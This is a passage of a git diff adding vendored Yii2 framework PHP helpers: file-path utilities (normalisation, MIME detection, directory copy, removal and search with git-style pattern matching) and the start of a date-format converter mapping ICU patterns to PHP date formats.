"." based on their meanings (e.g. "/a/./b/../c" becomes "/a/c") + * + * @param string $path the file/directory path to be normalized + * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`. + * @return string the normalized file/directory path + */ + public static function normalizePath($path, $ds = DIRECTORY_SEPARATOR) + { + $path = rtrim(strtr($path, '/\\', $ds . $ds), $ds); + if (strpos($ds . $path, "{$ds}.") === false && strpos($path, "{$ds}{$ds}") === false) { + return $path; + } + // the path may contain ".", ".." or double slashes, need to clean them up + $parts = []; + foreach (explode($ds, $path) as $part) { + if ($part === '..' && !empty($parts) && end($parts) !== '..') { + array_pop($parts); + } elseif ($part === '.' || $part === '' && !empty($parts)) { + continue; + } else { + $parts[] = $part; + } + } + $path = implode($ds, $parts); + return $path === '' ? '.' : $path; + } + + /** + * Returns the localized version of a specified file. + * + * The searching is based on the specified language code. In particular, + * a file with the same name will be looked for under the subdirectory + * whose name is the same as the language code. For example, given the file "path/to/view.php" + * and language code "zh-CN", the localized file will be looked for as + * "path/to/zh-CN/view.php". If the file is not found, it will try a fallback with just a language code that is + * "zh" i.e. "path/to/zh/view.php". If it is not found as well the original file will be returned. + * + * If the target and the source language codes are the same, + * the original file will be returned. + * + * @param string $file the original file + * @param string $language the target language that the file should be localized to. + * If not set, the value of [[\yii\base\Application::language]] will be used. + * @param string $sourceLanguage the language that the original file is in. + * If not set, the value of [[\yii\base\Application::sourceLanguage]] will be used. + * @return string the matching localized file, or the original file if the localized version is not found. + * If the target and the source language codes are the same, the original file will be returned. + */ + public static function localize($file, $language = null, $sourceLanguage = null) + { + if ($language === null) { + $language = Yii::$app->language; + } + if ($sourceLanguage === null) { + $sourceLanguage = Yii::$app->sourceLanguage; + } + if ($language === $sourceLanguage) { + return $file; + } + $desiredFile = dirname($file) . DIRECTORY_SEPARATOR . $language . DIRECTORY_SEPARATOR . basename($file); + if (is_file($desiredFile)) { + return $desiredFile; + } else { + $language = substr($language, 0, 2); + if ($language === $sourceLanguage) { + return $file; + } + $desiredFile = dirname($file) . DIRECTORY_SEPARATOR . $language . DIRECTORY_SEPARATOR . basename($file); + + return is_file($desiredFile) ? $desiredFile : $file; + } + } + + /** + * Determines the MIME type of the specified file. + * This method will first try to determine the MIME type based on + * [finfo_open](http://php.net/manual/en/function.finfo-open.php). If the `fileinfo` extension is not installed, + * it will fall back to [[getMimeTypeByExtension()]] when `$checkExtension` is true. + * @param string $file the file name. + * @param string $magicFile name of the optional magic database file (or alias), usually something like `/path/to/magic.mime`. + * This will be passed as the second parameter to [finfo_open()](http://php.net/manual/en/function.finfo-open.php) + * when the `fileinfo` extension is installed. If the MIME type is being determined based via [[getMimeTypeByExtension()]] + * and this is null, it will use the file specified by [[mimeMagicFile]]. + * @param boolean $checkExtension whether to use the file extension to determine the MIME type in case + * `finfo_open()` cannot determine it. + * @return string the MIME type (e.g. `text/plain`). Null is returned if the MIME type cannot be determined. + * @throws InvalidConfigException when the `fileinfo` PHP extension is not installed and `$checkExtension` is `false`. + */ + public static function getMimeType($file, $magicFile = null, $checkExtension = true) + { + if ($magicFile !== null) { + $magicFile = Yii::getAlias($magicFile); + } + if (!extension_loaded('fileinfo')) { + if ($checkExtension) { + return static::getMimeTypeByExtension($file, $magicFile); + } else { + throw new InvalidConfigException('The fileinfo PHP extension is not installed.'); + } + } + $info = finfo_open(FILEINFO_MIME_TYPE, $magicFile); + + if ($info) { + $result = finfo_file($info, $file); + finfo_close($info); + + if ($result !== false) { + return $result; + } + } + + return $checkExtension ? static::getMimeTypeByExtension($file, $magicFile) : null; + } + + /** + * Determines the MIME type based on the extension name of the specified file. + * This method will use a local map between extension names and MIME types. + * @param string $file the file name. + * @param string $magicFile the path (or alias) of the file that contains all available MIME type information. + * If this is not set, the file specified by [[mimeMagicFile]] will be used. + * @return string the MIME type. Null is returned if the MIME type cannot be determined. + */ + public static function getMimeTypeByExtension($file, $magicFile = null) + { + $mimeTypes = static::loadMimeTypes($magicFile); + + if (($ext = pathinfo($file, PATHINFO_EXTENSION)) !== '') { + $ext = strtolower($ext); + if (isset($mimeTypes[$ext])) { + return $mimeTypes[$ext]; + } + } + + return null; + } + + /** + * Determines the extensions by given MIME type. + * This method will use a local map between extension names and MIME types. + * @param string $mimeType file MIME type. + * @param string $magicFile the path (or alias) of the file that contains all available MIME type information. + * If this is not set, the file specified by [[mimeMagicFile]] will be used. + * @return array the extensions corresponding to the specified MIME type + */ + public static function getExtensionsByMimeType($mimeType, $magicFile = null) + { + $mimeTypes = static::loadMimeTypes($magicFile); + return array_keys($mimeTypes, mb_strtolower($mimeType, 'utf-8'), true); + } + + private static $_mimeTypes = []; + + /** + * Loads MIME types from the specified file. + * @param string $magicFile the path (or alias) of the file that contains all available MIME type information. + * If this is not set, the file specified by [[mimeMagicFile]] will be used. + * @return array the mapping from file extensions to MIME types + */ + protected static function loadMimeTypes($magicFile) + { + if ($magicFile === null) { + $magicFile = static::$mimeMagicFile; + } + $magicFile = Yii::getAlias($magicFile); + if (!isset(self::$_mimeTypes[$magicFile])) { + self::$_mimeTypes[$magicFile] = require($magicFile); + } + return self::$_mimeTypes[$magicFile]; + } + + /** + * Copies a whole directory as another one. + * The files and sub-directories will also be copied over. + * @param string $src the source directory + * @param string $dst the destination directory + * @param array $options options for directory copy. Valid options are: + * + * - dirMode: integer, the permission to be set for newly copied directories. Defaults to 0775. + * - fileMode: integer, the permission to be set for newly copied files. Defaults to the current environment setting. + * - filter: callback, a PHP callback that is called for each directory or file. + * The signature of the callback should be: `function ($path)`, where `$path` refers the full path to be filtered. + * The callback can return one of the following values: + * + * * true: the directory or file will be copied (the "only" and "except" options will be ignored) + * * false: the directory or file will NOT be copied (the "only" and "except" options will be ignored) + * * null: the "only" and "except" options will determine whether the directory or file should be copied + * + * - only: array, list of patterns that the file paths should match if they want to be copied. + * A path matches a pattern if it contains the pattern string at its end. + * For example, '.php' matches all file paths ending with '.php'. + * Note, the '/' characters in a pattern matches both '/' and '\' in the paths. + * If a file path matches a pattern in both "only" and "except", it will NOT be copied. + * - except: array, list of patterns that the files or directories should match if they want to be excluded from being copied. + * A path matches a pattern if it contains the pattern string at its end. + * Patterns ending with '/' apply to directory paths only, and patterns not ending with '/' + * apply to file paths only. For example, '/a/b' matches all file paths ending with '/a/b'; + * and '.svn/' matches directory paths ending with '.svn'. Note, the '/' characters in a pattern matches + * both '/' and '\' in the paths. + * - caseSensitive: boolean, whether patterns specified at "only" or "except" should be case sensitive. Defaults to true. + * - recursive: boolean, whether the files under the subdirectories should also be copied. Defaults to true. + * - beforeCopy: callback, a PHP callback that is called before copying each sub-directory or file. + * If the callback returns false, the copy operation for the sub-directory or file will be cancelled. + * The signature of the callback should be: `function ($from, $to)`, where `$from` is the sub-directory or + * file to be copied from, while `$to` is the copy target. + * - afterCopy: callback, a PHP callback that is called after each sub-directory or file is successfully copied. + * The signature of the callback should be: `function ($from, $to)`, where `$from` is the sub-directory or + * file copied from, while `$to` is the copy target. + * @throws \yii\base\InvalidParamException if unable to open directory + */ + public static function copyDirectory($src, $dst, $options = []) + { + if (!is_dir($dst)) { + static::createDirectory($dst, isset($options['dirMode']) ? $options['dirMode'] : 0775, true); + } + + $handle = opendir($src); + if ($handle === false) { + throw new InvalidParamException('Unable to open directory: ' . $src); + } + if (!isset($options['basePath'])) { + // this should be done only once + $options['basePath'] = realpath($src); + $options = self::normalizeOptions($options); + } + while (($file = readdir($handle)) !== false) { + if ($file === '.' || $file === '..') { + continue; + } + $from = $src . DIRECTORY_SEPARATOR . $file; + $to = $dst . DIRECTORY_SEPARATOR . $file; + if (static::filterPath($from, $options)) { + if (isset($options['beforeCopy']) && !call_user_func($options['beforeCopy'], $from, $to)) { + continue; + } + if (is_file($from)) { + copy($from, $to); + if (isset($options['fileMode'])) { + @chmod($to, $options['fileMode']); + } + } else { + static::copyDirectory($from, $to, $options); + } + if (isset($options['afterCopy'])) { + call_user_func($options['afterCopy'], $from, $to); + } + } + } + closedir($handle); + } + + /** + * Removes a directory (and all its content) recursively. + * @param string $dir the directory to be deleted recursively. + * @param array $options options for directory remove. Valid options are: + * + * - traverseSymlinks: boolean, whether symlinks to the directories should be traversed too. + * Defaults to `false`, meaning the content of the symlinked directory would not be deleted. + * Only symlink would be removed in that default case. + */ + public static function removeDirectory($dir, $options = []) + { + if (!is_dir($dir)) { + return; + } + if (!is_link($dir) || isset($options['traverseSymlinks']) && $options['traverseSymlinks']) { + if (!($handle = opendir($dir))) { + return; + } + while (($file = readdir($handle)) !== false) { + if ($file === '.' || $file === '..') { + continue; + } + $path = $dir . DIRECTORY_SEPARATOR . $file; + if (is_dir($path)) { + static::removeDirectory($path, $options); + } else { + unlink($path); + } + } + closedir($handle); + } + if (is_link($dir)) { + unlink($dir); + } else { + rmdir($dir); + } + } + + /** + * Returns the files found under the specified directory and subdirectories. + * @param string $dir the directory under which the files will be looked for. + * @param array $options options for file searching. Valid options are: + * + * - filter: callback, a PHP callback that is called for each directory or file. + * The signature of the callback should be: `function ($path)`, where `$path` refers the full path to be filtered. + * The callback can return one of the following values: + * + * * true: the directory or file will be returned (the "only" and "except" options will be ignored) + * * false: the directory or file will NOT be returned (the "only" and "except" options will be ignored) + * * null: the "only" and "except" options will determine whether the directory or file should be returned + * + * - except: array, list of patterns excluding from the results matching file or directory paths. + * Patterns ending with '/' apply to directory paths only, and patterns not ending with '/' + * apply to file paths only. For example, '/a/b' matches all file paths ending with '/a/b'; + * and '.svn/' matches directory paths ending with '.svn'. + * If the pattern does not contain a slash /, it is treated as a shell glob pattern and checked for a match against the pathname relative to $dir. + * Otherwise, the pattern is treated as a shell glob suitable for consumption by fnmatch(3) with the FNM_PATHNAME flag: wildcards in the pattern will not match a / in the pathname. + * For example, "views/*.php" matches "views/index.php" but not "views/controller/index.php". + * A leading slash matches the beginning of the pathname. For example, "/*.php" matches "index.php" but not "views/start/index.php". + * An optional prefix "!" which negates the pattern; any matching file excluded by a previous pattern will become included again. + * If a negated pattern matches, this will override lower precedence patterns sources. Put a backslash ("\") in front of the first "!" + * for patterns that begin with a literal "!", for example, "\!important!.txt". + * Note, the '/' characters in a pattern matches both '/' and '\' in the paths. + * - only: array, list of patterns that the file paths should match if they are to be returned. Directory paths are not checked against them. + * Same pattern matching rules as in the "except" option are used. + * If a file path matches a pattern in both "only" and "except", it will NOT be returned. + * - caseSensitive: boolean, whether patterns specified at "only" or "except" should be case sensitive. Defaults to true. + * - recursive: boolean, whether the files under the subdirectories should also be looked for. Defaults to true. + * @return array files found under the directory. The file list is sorted. + * @throws InvalidParamException if the dir is invalid. + */ + public static function findFiles($dir, $options = []) + { + if (!is_dir($dir)) { + throw new InvalidParamException('The dir argument must be a directory.'); + } + $dir = rtrim($dir, DIRECTORY_SEPARATOR); + if (!isset($options['basePath'])) { + // this should be done only once + $options['basePath'] = realpath($dir); + $options = self::normalizeOptions($options); + } + $list = []; + $handle = opendir($dir); + if ($handle === false) { + throw new InvalidParamException('Unable to open directory: ' . $dir); + } + while (($file = readdir($handle)) !== false) { + if ($file === '.' || $file === '..') { + continue; + } + $path = $dir . DIRECTORY_SEPARATOR . $file; + if (static::filterPath($path, $options)) { + if (is_file($path)) { + $list[] = $path; + } elseif (!isset($options['recursive']) || $options['recursive']) { + $list = array_merge($list, static::findFiles($path, $options)); + } + } + } + closedir($handle); + + return $list; + } + + /** + * Checks if the given file path satisfies the filtering options. + * @param string $path the path of the file or directory to be checked + * @param array $options the filtering options. See [[findFiles()]] for explanations of + * the supported options. + * @return boolean whether the file or directory satisfies the filtering options. + */ + public static function filterPath($path, $options) + { + if (isset($options['filter'])) { + $result = call_user_func($options['filter'], $path); + if (is_bool($result)) { + return $result; + } + } + + if (empty($options['except']) && empty($options['only'])) { + return true; + } + + $path = str_replace('\\', '/', $path); + + if (!empty($options['except'])) { + if (($except = self::lastExcludeMatchingFromList($options['basePath'], $path, $options['except'])) !== null) { + return $except['flags'] & self::PATTERN_NEGATIVE; + } + } + + if (!is_dir($path) && !empty($options['only'])) { + if (($except = self::lastExcludeMatchingFromList($options['basePath'], $path, $options['only'])) !== null) { + // don't check PATTERN_NEGATIVE since those entries are not prefixed with ! + return true; + } + + return false; + } + + return true; + } + + /** + * Creates a new directory. + * + * This method is similar to the PHP `mkdir()` function except that + * it uses `chmod()` to set the permission of the created directory + * in order to avoid the impact of the `umask` setting. + * + * @param string $path path of the directory to be created. + * @param integer $mode the permission to be set for the created directory. + * @param boolean $recursive whether to create parent directories if they do not exist. + * @return boolean whether the directory is created successfully + */ + public static function createDirectory($path, $mode = 0775, $recursive = true) + { + if (is_dir($path)) { + return true; + } + $parentDir = dirname($path); + if ($recursive && !is_dir($parentDir)) { + static::createDirectory($parentDir, $mode, true); + } + $result = mkdir($path, $mode); + chmod($path, $mode); + + return $result; + } + + /** + * Performs a simple comparison of file or directory names. + * + * Based on match_basename() from dir.c of git 1.8.5.3 sources. + * + * @param string $baseName file or directory name to compare with the pattern + * @param string $pattern the pattern that $baseName will be compared against + * @param integer|boolean $firstWildcard location of first wildcard character in the $pattern + * @param integer $flags pattern flags + * @return boolean wheter the name matches against pattern + */ + private static function matchBasename($baseName, $pattern, $firstWildcard, $flags) + { + if ($firstWildcard === false) { + if ($pattern === $baseName) { + return true; + } + } elseif ($flags & self::PATTERN_ENDSWITH) { + /* "*literal" matching against "fooliteral" */ + $n = StringHelper::byteLength($pattern); + if (StringHelper::byteSubstr($pattern, 1, $n) === StringHelper::byteSubstr($baseName, -$n, $n)) { + return true; + } + } + + $fnmatchFlags = 0; + if ($flags & self::PATTERN_CASE_INSENSITIVE) { + $fnmatchFlags |= FNM_CASEFOLD; + } + + return fnmatch($pattern, $baseName, $fnmatchFlags); + } + + /** + * Compares a path part against a pattern with optional wildcards. + * + * Based on match_pathname() from dir.c of git 1.8.5.3 sources. + * + * @param string $path full path to compare + * @param string $basePath base of path that will not be compared + * @param string $pattern the pattern that path part will be compared against + * @param integer|boolean $firstWildcard location of first wildcard character in the $pattern + * @param integer $flags pattern flags + * @return boolean wheter the path part matches against pattern + */ + private static function matchPathname($path, $basePath, $pattern, $firstWildcard, $flags) + { + // match with FNM_PATHNAME; the pattern has base implicitly in front of it. + if (isset($pattern[0]) && $pattern[0] == '/') { + $pattern = StringHelper::byteSubstr($pattern, 1, StringHelper::byteLength($pattern)); + if ($firstWildcard !== false && $firstWildcard !== 0) { + $firstWildcard--; + } + } + + $namelen = StringHelper::byteLength($path) - (empty($basePath) ? 0 : StringHelper::byteLength($basePath) + 1); + $name = StringHelper::byteSubstr($path, -$namelen, $namelen); + + if ($firstWildcard !== 0) { + if ($firstWildcard === false) { + $firstWildcard = StringHelper::byteLength($pattern); + } + // if the non-wildcard part is longer than the remaining pathname, surely it cannot match. + if ($firstWildcard > $namelen) { + return false; + } + + if (strncmp($pattern, $name, $firstWildcard)) { + return false; + } + $pattern = StringHelper::byteSubstr($pattern, $firstWildcard, StringHelper::byteLength($pattern)); + $name = StringHelper::byteSubstr($name, $firstWildcard, $namelen); + + // If the whole pattern did not have a wildcard, then our prefix match is all we need; we do not need to call fnmatch at all. + if (empty($pattern) && empty($name)) { + return true; + } + } + + $fnmatchFlags = FNM_PATHNAME; + if ($flags & self::PATTERN_CASE_INSENSITIVE) { + $fnmatchFlags |= FNM_CASEFOLD; + } + + return fnmatch($pattern, $name, $fnmatchFlags); + } + + /** + * Scan the given exclude list in reverse to see whether pathname + * should be ignored. The first match (i.e. the last on the list), if + * any, determines the fate. Returns the element which + * matched, or null for undecided. + * + * Based on last_exclude_matching_from_list() from dir.c of git 1.8.5.3 sources. + * + * @param string $basePath + * @param string $path + * @param array $excludes list of patterns to match $path against + * @return string null or one of $excludes item as an array with keys: 'pattern', 'flags' + * @throws InvalidParamException if any of the exclude patterns is not a string or an array with keys: pattern, flags, firstWildcard. + */ + private static function lastExcludeMatchingFromList($basePath, $path, $excludes) + { + foreach (array_reverse($excludes) as $exclude) { + if (is_string($exclude)) { + $exclude = self::parseExcludePattern($exclude, false); + } + if (!isset($exclude['pattern']) || !isset($exclude['flags']) || !isset($exclude['firstWildcard'])) { + throw new InvalidParamException('If exclude/include pattern is an array it must contain the pattern, flags and firstWildcard keys.'); + } + if ($exclude['flags'] & self::PATTERN_MUSTBEDIR && !is_dir($path)) { + continue; + } + + if ($exclude['flags'] & self::PATTERN_NODIR) { + if (self::matchBasename(basename($path), $exclude['pattern'], $exclude['firstWildcard'], $exclude['flags'])) { + return $exclude; + } + continue; + } + + if (self::matchPathname($path, $basePath, $exclude['pattern'], $exclude['firstWildcard'], $exclude['flags'])) { + return $exclude; + } + } + + return null; + } + + /** + * Processes the pattern, stripping special characters like / and ! from the beginning and settings flags instead. + * @param string $pattern + * @param boolean $caseSensitive + * @throws \yii\base\InvalidParamException + * @return array with keys: (string) pattern, (int) flags, (int|boolean)firstWildcard + */ + private static function parseExcludePattern($pattern, $caseSensitive) + { + if (!is_string($pattern)) { + throw new InvalidParamException('Exclude/include pattern must be a string.'); + } + + $result = [ + 'pattern' => $pattern, + 'flags' => 0, + 'firstWildcard' => false, + ]; + + if (!$caseSensitive) { + $result['flags'] |= self::PATTERN_CASE_INSENSITIVE; + } + + if (!isset($pattern[0])) { + return $result; + } + + if ($pattern[0] == '!') { + $result['flags'] |= self::PATTERN_NEGATIVE; + $pattern = StringHelper::byteSubstr($pattern, 1, StringHelper::byteLength($pattern)); + } + if (StringHelper::byteLength($pattern) && StringHelper::byteSubstr($pattern, -1, 1) == '/') { + $pattern = StringHelper::byteSubstr($pattern, 0, -1); + $result['flags'] |= self::PATTERN_MUSTBEDIR; + } + if (strpos($pattern, '/') === false) { + $result['flags'] |= self::PATTERN_NODIR; + } + $result['firstWildcard'] = self::firstWildcardInPattern($pattern); + if ($pattern[0] == '*' && self::firstWildcardInPattern(StringHelper::byteSubstr($pattern, 1, StringHelper::byteLength($pattern))) === false) { + $result['flags'] |= self::PATTERN_ENDSWITH; + } + $result['pattern'] = $pattern; + + return $result; + } + + /** + * Searches for the first wildcard character in the pattern. + * @param string $pattern the pattern to search in + * @return integer|boolean position of first wildcard character or false if not found + */ + private static function firstWildcardInPattern($pattern) + { + $wildcards = ['*', '?', '[', '\\']; + $wildcardSearch = function ($r, $c) use ($pattern) { + $p = strpos($pattern, $c); + + return $r===false ? $p : ($p===false ? $r : min($r, $p)); + }; + + return array_reduce($wildcards, $wildcardSearch, false); + } + + /** + * @param array $options raw options + * @return array normalized options + */ + private static function normalizeOptions(array $options) + { + if (!array_key_exists('caseSensitive', $options)) { + $options['caseSensitive'] = true; + } + if (isset($options['except'])) { + foreach ($options['except'] as $key => $value) { + if (is_string($value)) { + $options['except'][$key] = self::parseExcludePattern($value, $options['caseSensitive']); + } + } + } + if (isset($options['only'])) { + foreach ($options['only'] as $key => $value) { + if (is_string($value)) { + $options['only'][$key] = self::parseExcludePattern($value, $options['caseSensitive']); + } + } + } + return $options; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseFormatConverter.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseFormatConverter.php new file mode 100644 index 00000000..10f04648 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseFormatConverter.php @@ -0,0 +1,494 @@ + + * @author Enrica Ruedin + * @since 2.0 + */ +class BaseFormatConverter +{ + /** + * @var array the php fallback definition to use for the ICU short patterns `short`, `medium`, `long` and `full`. + * This is used as fallback when the intl extension is not installed. + */ + public static $phpFallbackDatePatterns = [ + 'short' => [ + 'date' => 'n/j/y', + 'time' => 'H:i', + 'datetime' => 'n/j/y H:i', + ], + 'medium' => [ + 'date' => 'M j, Y', + 'time' => 'g:i:s A', + 'datetime' => 'M j, Y g:i:s A', + ], + 'long' => [ + 'date' => 'F j, Y', + 'time' => 'g:i:sA', + 'datetime' => 'F j, Y g:i:sA', + ], + 'full' => [ + 'date' => 'l, F j, Y', + 'time' => 'g:i:sA T', + 'datetime' => 'l, F j, Y g:i:sA T', + ], + ]; + /** + * @var array the jQuery UI fallback definition to use for the ICU short patterns `short`, `medium`, `long` and `full`. + * This is used as fallback when the intl extension is not installed. + */ + public static $juiFallbackDatePatterns = [ + 'short' => [ + 'date' => 'd/m/y', + 'time' => '', + 'datetime' => 'd/m/y', + ], + 'medium' => [ + 'date' => 'M d, yy', + 'time' => '', + 'datetime' => 'M d, yy', + ], + 'long' => [ + 'date' => 'MM d, yy', + 'time' => '', + 'datetime' => 'MM d, yy', + ], + 'full' => [ + 'date' => 'DD, MM d, yy', + 'time' => '', + 'datetime' => 'DD, MM d, yy', + ], + ]; + + private static $_icuShortFormats = [ + 'short' => 3, // IntlDateFormatter::SHORT, + 'medium' => 2, // IntlDateFormatter::MEDIUM, + 'long' => 1, // IntlDateFormatter::LONG, + 'full' => 0, // IntlDateFormatter::FULL, + ]; + + + /** + * Converts a date format pattern from [ICU format][] to [php date() function format][]. + * + * The conversion is limited to date patterns that do not use escaped characters. + * Patterns like `d 'of' MMMM yyyy` which will result in a date like `1 of December 2014` may not be converted correctly + * because of the use of escaped characters. + * + * Pattern constructs that are not supported by the PHP format will be removed. + * + * [php date() function format]: http://php.net/manual/en/function.date.php + * [ICU format]: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax + * + * @param string $pattern date format pattern in ICU format. + * @param string $type 'date', 'time', or 'datetime'. + * @param string $locale the locale to use for converting ICU short patterns `short`, `medium`, `long` and `full`. + * If not given, `Yii::$app->language` will be used. + * @return string The converted date format pattern. + */ + public static function convertDateIcuToPhp($pattern, $type = 'date', $locale = null) + { + if (isset(self::$_icuShortFormats[$pattern])) { + if (extension_loaded('intl')) { + if ($locale === null) { + $locale = Yii::$app->language; + } + if ($type === 'date') { + $formatter = new IntlDateFormatter($locale, self::$_icuShortFormats[$pattern], IntlDateFormatter::NONE); + } elseif ($type === 'time') { + $formatter = new IntlDateFormatter($locale, IntlDateFormatter::NONE, self::$_icuShortFormats[$pattern]); + } else { + $formatter = new IntlDateFormatter($locale, self::$_icuShortFormats[$pattern], self::$_icuShortFormats[$pattern]); + } + $pattern = $formatter->getPattern(); + } else { + return static::$phpFallbackDatePatterns[$pattern][$type]; + } + } + // http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax + return strtr($pattern, [ + 'G' => '', // era designator like (Anno Domini) + 'Y' => 'o', // 4digit year of "Week of Year" + 'y' => 'Y', // 4digit year e.g. 2014 + 'yyyy' => 'Y', // 4digit year e.g. 2014 + 'yy' => 'y', // 2digit year number eg. 14 + 'u' => '', // extended year e.g. 4601 + 'U' => '', // cyclic year name, as in Chinese lunar calendar + 'r' => '', // related Gregorian year e.g. 1996 + 'Q' => '', // number of quarter + 'QQ' => '', // number of quarter '02' + 'QQQ' => '', // quarter 'Q2' + 'QQQQ' => '', // quarter '2nd quarter' + 'QQQQQ' => '', // number of quarter '2' + 'q' => '', // number of Stand Alone quarter + 'qq' => '', // number of Stand Alone quarter '02' + 'qqq' => '', // Stand Alone quarter 'Q2' + 'qqqq' => '', // Stand Alone quarter '2nd quarter' + 'qqqqq' => '', // number of Stand Alone quarter '2' + 'M' => 'n', // Numeric representation of a month, without leading zeros + 'MM' => 'm', // Numeric representation of a month, with leading zeros + 'MMM' => 'M', // A short textual representation of a month, three letters + 'MMMM' => 'F', // A full textual representation of a month, such as January or March + 'MMMMM' => '', // + 'L' => 'm', // Stand alone month in year + 'LL' => 'm', // Stand alone month in year + 'LLL' => 'M', // Stand alone month in year + 'LLLL' => 'F', // Stand alone month in year + 'LLLLL' => '', // Stand alone month in year + 'w' => 'W', // ISO-8601 week number of year + 'ww' => 'W', // ISO-8601 week number of year + 'W' => '', // week of the current month + 'd' => 'j', // day without leading zeros + 'dd' => 'd', // day with leading zeros + 'D' => 'z', // day of the year 0 to 365 + 'F' => '', // Day of Week in Month. eg. 2nd Wednesday in July + 'g' => '', // Modified Julian day. This is different from the conventional Julian day number in two regards. + 'E' => 'D', // day of week written in short form eg. Sun + 'EE' => 'D', + 'EEE' => 'D', + 'EEEE' => 'l', // day of week fully written eg. Sunday + 'EEEEE' => '', + 'EEEEEE' => '', + 'e' => 'N', // ISO-8601 numeric representation of the day of the week 1=Mon to 7=Sun + 'ee' => 'N', // php 'w' 0=Sun to 6=Sat isn't supported by ICU -> 'w' means week number of year + 'eee' => 'D', + 'eeee' => 'l', + 'eeeee' => '', + 'eeeeee' => '', + 'c' => 'N', // ISO-8601 numeric representation of the day of the week 1=Mon to 7=Sun + 'cc' => 'N', // php 'w' 0=Sun to 6=Sat isn't supported by ICU -> 'w' means week number of year + 'ccc' => 'D', + 'cccc' => 'l', + 'ccccc' => '', + 'cccccc' => '', + 'a' => 'a', // am/pm marker + 'h' => 'g', // 12-hour format of an hour without leading zeros 1 to 12h + 'hh' => 'h', // 12-hour format of an hour with leading zeros, 01 to 12 h + 'H' => 'G', // 24-hour format of an hour without leading zeros 0 to 23h + 'HH' => 'H', // 24-hour format of an hour with leading zeros, 00 to 23 h + 'k' => '', // hour in day (1~24) + 'kk' => '', // hour in day (1~24) + 'K' => '', // hour in am/pm (0~11) + 'KK' => '', // hour in am/pm (0~11) + 'm' => 'i', // Minutes without leading zeros, not supported by php but we fallback + 'mm' => 'i', // Minutes with leading zeros + 's' => 's', // Seconds, without leading zeros, not supported by php but we fallback + 'ss' => 's', // Seconds, with leading zeros + 'S' => '', // fractional second + 'SS' => '', // fractional second + 'SSS' => '', // fractional second + 'SSSS' => '', // fractional second + 'A' => '', // milliseconds in day + 'z' => 'T', // Timezone abbreviation + 'zz' => 'T', // Timezone abbreviation + 'zzz' => 'T', // Timezone abbreviation + 'zzzz' => 'T', // Timzone full name, not supported by php but we fallback + 'Z' => 'O', // Difference to Greenwich time (GMT) in hours + 'ZZ' => 'O', // Difference to Greenwich time (GMT) in hours + 'ZZZ' => 'O', // Difference to Greenwich time (GMT) in hours + 'ZZZZ' => '\G\M\TP', // Time Zone: long localized GMT (=OOOO) e.g. GMT-08:00 + 'ZZZZZ' => '', // TIme Zone: ISO8601 extended hms? (=XXXXX) + 'O' => '', // Time Zone: short localized GMT e.g. GMT-8 + 'OOOO' => '\G\M\TP', // Time Zone: long localized GMT (=ZZZZ) e.g. GMT-08:00 + 'v' => '\G\M\TP', // Time Zone: generic non-location (falls back first to VVVV and then to OOOO) using the ICU defined fallback here + 'vvvv' => '\G\M\TP', // Time Zone: generic non-location (falls back first to VVVV and then to OOOO) using the ICU defined fallback here + 'V' => '', // Time Zone: short time zone ID + 'VV' => 'e', // Time Zone: long time zone ID + 'VVV' => '', // Time Zone: time zone exemplar city + 'VVVV' => '\G\M\TP', // Time Zone: generic location (falls back to OOOO) using the ICU defined fallback here + 'X' => '', // Time Zone: ISO8601 basic hm?, with Z for 0, e.g. -08, +0530, Z + 'XX' => 'O, \Z', // Time Zone: ISO8601 basic hm, with Z, e.g. -0800, Z + 'XXX' => 'P, \Z', // Time Zone: ISO8601 extended hm, with Z, e.g. -08:00, Z + 'XXXX' => '', // Time Zone: ISO8601 basic hms?, with Z, e.g. -0800, -075258, Z + 'XXXXX' => '', // Time Zone: ISO8601 extended hms?, with Z, e.g. -08:00, -07:52:58, Z + 'x' => '', // Time Zone: ISO8601 basic hm?, without Z for 0, e.g. -08, +0530 + 'xx' => 'O', // Time Zone: ISO8601 basic hm, without Z, e.g. -0800 + 'xxx' => 'P', // Time Zone: ISO8601 extended hm, without Z, e.g. -08:00 + 'xxxx' => '', // Time Zone: ISO8601 basic hms?, without Z, e.g. -0800, -075258 + 'xxxxx' => '', // Time Zone: ISO8601 extended hms?, without Z, e.g. -08:00, -07:52:58 + ]); + } + + /** + * Converts a date format pattern from [php date() function format][] to [ICU format][]. + * + * The conversion is limited to date patterns that do not use escaped characters. + * Patterns like `jS \o\f F Y` which will result in a date like `1st of December 2014` may not be converted correctly + * because of the use of escaped characters. + * + * Pattern constructs that are not supported by the ICU format will be removed. + * + * [php date() function format]: http://php.net/manual/en/function.date.php + * [ICU format]: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax + * + * @param string $pattern date format pattern in php date()-function format. + * @return string The converted date format pattern. + */ + public static function convertDatePhpToIcu($pattern) + { + // http://php.net/manual/en/function.date.php + return strtr($pattern, [ + // Day + 'd' => 'dd', // Day of the month, 2 digits with leading zeros 01 to 31 + 'D' => 'eee', // A textual representation of a day, three letters Mon through Sun + 'j' => 'd', // Day of the month without leading zeros 1 to 31 + 'l' => 'eeee', // A full textual representation of the day of the week Sunday through Saturday + 'N' => 'e', // ISO-8601 numeric representation of the day of the week, 1 (for Monday) through 7 (for Sunday) + 'S' => '', // English ordinal suffix for the day of the month, 2 characters st, nd, rd or th. Works well with j + 'w' => '', // Numeric representation of the day of the week 0 (for Sunday) through 6 (for Saturday) + 'z' => 'D', // The day of the year (starting from 0) 0 through 365 + // Week + 'W' => 'w', // ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0) Example: 42 (the 42nd week in the year) + // Month + 'F' => 'MMMM', // A full textual representation of a month, January through December + 'm' => 'MM', // Numeric representation of a month, with leading zeros 01 through 12 + 'M' => 'MMM', // A short textual representation of a month, three letters Jan through Dec + 'n' => 'M', // Numeric representation of a month, without leading zeros 1 through 12, not supported by ICU but we fallback to "with leading zero" + 't' => '', // Number of days in the given month 28 through 31 + // Year + 'L' => '', // Whether it's a leap year, 1 if it is a leap year, 0 otherwise. + 'o' => 'Y', // ISO-8601 year number. This has the same value as Y, except that if the ISO week number (W) belongs to the previous or next year, that year is used instead. + 'Y' => 'yyyy', // A full numeric representation of a year, 4 digits Examples: 1999 or 2003 + 'y' => 'yy', // A two digit representation of a year Examples: 99 or 03 + 